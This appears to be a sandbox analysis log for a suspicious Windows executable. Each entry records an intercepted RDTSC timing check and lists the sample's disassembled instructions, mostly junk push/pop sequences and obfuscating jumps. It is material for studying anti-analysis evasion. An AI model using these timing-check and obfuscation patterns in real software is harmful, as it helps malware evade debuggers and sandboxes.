Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E622B second address: 9E6230 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E54A0 second address: 9E54BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF4C05015A4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E54BF second address: 9E54C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E54C5 second address: 9E5559 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, dword ptr [ebp+12450DC1h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007FF4C0501598h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D2246h], eax 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e mov dword ptr [ebp+12455C22h], ebx 0x00000044 mov eax, dword ptr [ebp+122D0D69h] 0x0000004a push 00000000h 0x0000004c push ecx 0x0000004d call 00007FF4C0501598h 0x00000052 pop ecx 0x00000053 mov dword ptr [esp+04h], ecx 0x00000057 add dword ptr [esp+04h], 00000015h 0x0000005f inc ecx 0x00000060 push ecx 0x00000061 ret 0x00000062 pop ecx 0x00000063 ret 0x00000064 xor dword ptr [ebp+122D19C3h], ecx 0x0000006a mov bx, 2BBDh 0x0000006e push FFFFFFFFh 0x00000070 cld 0x00000071 mov ebx, dword ptr [ebp+122D361Fh] 0x00000077 nop 0x00000078 pushad 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E5559 second address: 9E555D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E555D second address: 9E557D instructions: 0x00000000 rdtsc 0x00000002 js 00007FF4C0501596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF4C05015A0h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E90A6 second address: 9E90AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E244B second address: 9E244F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9E9392 second address: 9E9396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9F16A2 second address: 9F16AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9F1AC7 second address: 9F1AE2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF4C0C3E166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007FF4C0C3E16Bh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9FC6B3 second address: 9FC6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9FC6B8 second address: 9FC6BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9FC6BD second address: 9FC718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d jmp 00007FF4C05015A6h 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007FF4C05015A0h 0x0000001b jc 00007FF4C0501596h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 jmp 00007FF4C05015A9h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9FC718 second address: 9FC71C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9FBB39 second address: 9FBB49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C050159Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9FBE16 second address: 9FBE1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9FBFBC second address: 9FBFDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF4C05015A9h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9FBFDF second address: 9FC011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jnc 00007FF4C0C3E166h 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007FF4C0C3E16Eh 0x00000015 jmp 00007FF4C0C3E16Bh 0x0000001a push esi 0x0000001b pop esi 0x0000001c jc 00007FF4C0C3E166h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9FC526 second address: 9FC52B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A01AB7 second address: A01ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF4C0C3E16Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A01ACF second address: A01AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A01AD3 second address: A01B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FF4C0C3E174h 0x0000000f jmp 00007FF4C0C3E175h 0x00000014 popad 0x00000015 js 00007FF4C0C3E16Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A01B0F second address: A01B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D7651 second address: 9D765B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D765B second address: 9D765F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D86AD second address: 9D86B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D86B3 second address: 9D86B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A00F40 second address: A00F4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FF4C0C3E166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A00F4C second address: A00F80 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007FF4C0501596h 0x00000009 pop edx 0x0000000a jg 00007FF4C050159Eh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007FF4C05015A0h 0x00000018 pushad 0x00000019 js 00007FF4C0501596h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A00F80 second address: A00F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A01253 second address: A01257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A01257 second address: A01260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A013CC second address: A01428 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF4C050159Ch 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FF4C05015A9h 0x00000012 jmp 00007FF4C05015A7h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF4C05015A4h 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A01542 second address: A01561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF4C0C3E176h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A01561 second address: A01580 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A016BA second address: A016C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A016C0 second address: A016C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A0A0C5 second address: A0A0DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF4C0C3E16Eh 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A0A0DF second address: A0A0E9 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF4C0501596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A0A0E9 second address: A0A0F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A0A0F5 second address: A0A106 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF4C050159Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A0A4E4 second address: A0A4FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E16Eh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A0A4FE second address: A0A505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A0A661 second address: A0A681 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E176h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A1041B second address: A1042D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a js 00007FF4C0501596h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A1042D second address: A1043A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A1043A second address: A1046B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF4C05015B5h 0x00000008 jmp 00007FF4C05015A5h 0x0000000d jmp 00007FF4C050159Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007FF4C0501596h 0x0000001a push esi 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A10723 second address: A10754 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E173h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF4C0C3E16Eh 0x0000000e jmp 00007FF4C0C3E16Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A10754 second address: A10774 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FF4C050159Ch 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A0FEAE second address: A0FEB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A0FEB2 second address: A0FEBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A10C98 second address: A10CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF4C0C3E166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A10CA2 second address: A10CB8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF4C050159Ah 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A10CB8 second address: A10CBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A10CBE second address: A10CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push ecx 0x00000008 js 00007FF4C050159Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A10CCE second address: A10CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007FF4C0C3E166h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A184A3 second address: A184A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A184A9 second address: A184B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E16Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A1B4C0 second address: A1B4C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A1B4C6 second address: A1B4D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E16Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A1B4D6 second address: A1B4E9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007FF4C0501596h 0x00000009 jnp 00007FF4C0501596h 0x0000000f pop ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A1B4E9 second address: A1B4F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF4C0C3E166h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A1B4F5 second address: A1B51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007FF4C05015A8h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A1AF4B second address: A1AF4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A22509 second address: A22512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A22512 second address: A22521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF4C0C3E16Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A22521 second address: A22532 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push edi 0x00000009 jc 00007FF4C0501596h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A20F57 second address: A20F62 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A213DC second address: A213E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A21566 second address: A21584 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FF4C0C3E174h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A21584 second address: A215A5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF4C0501596h 0x00000008 jmp 00007FF4C05015A7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A215A5 second address: A215AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: A215AB second address: A215C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF4C05015A3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D7F92 second address: 9D8002 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF4C0C3E16Bh 0x00000008 jmp 00007FF4C0C3E178h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov ebx, dword ptr [ebp+1248E2C2h] 0x00000019 and di, A815h 0x0000001e add eax, ebx 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007FF4C0C3E168h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 0000001Bh 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a mov cx, 58C5h 0x0000003e mov dx, ax 0x00000041 and edi, 02BCFD15h 0x00000047 nop 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c push ebx 0x0000004d pop ebx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D8002 second address: 9D8008 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D8008 second address: 9D8025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF4C0C3E179h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D8025 second address: 9D8038 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FF4C0501598h 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9D8209 second address: 9D820D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 992628 second address: 99263B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jg 00007FF4C0501596h 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99263B second address: 992641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 992641 second address: 992677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF4C05015A5h 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF4C05015A8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 992677 second address: 99267B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99267B second address: 992691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF4C050159Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
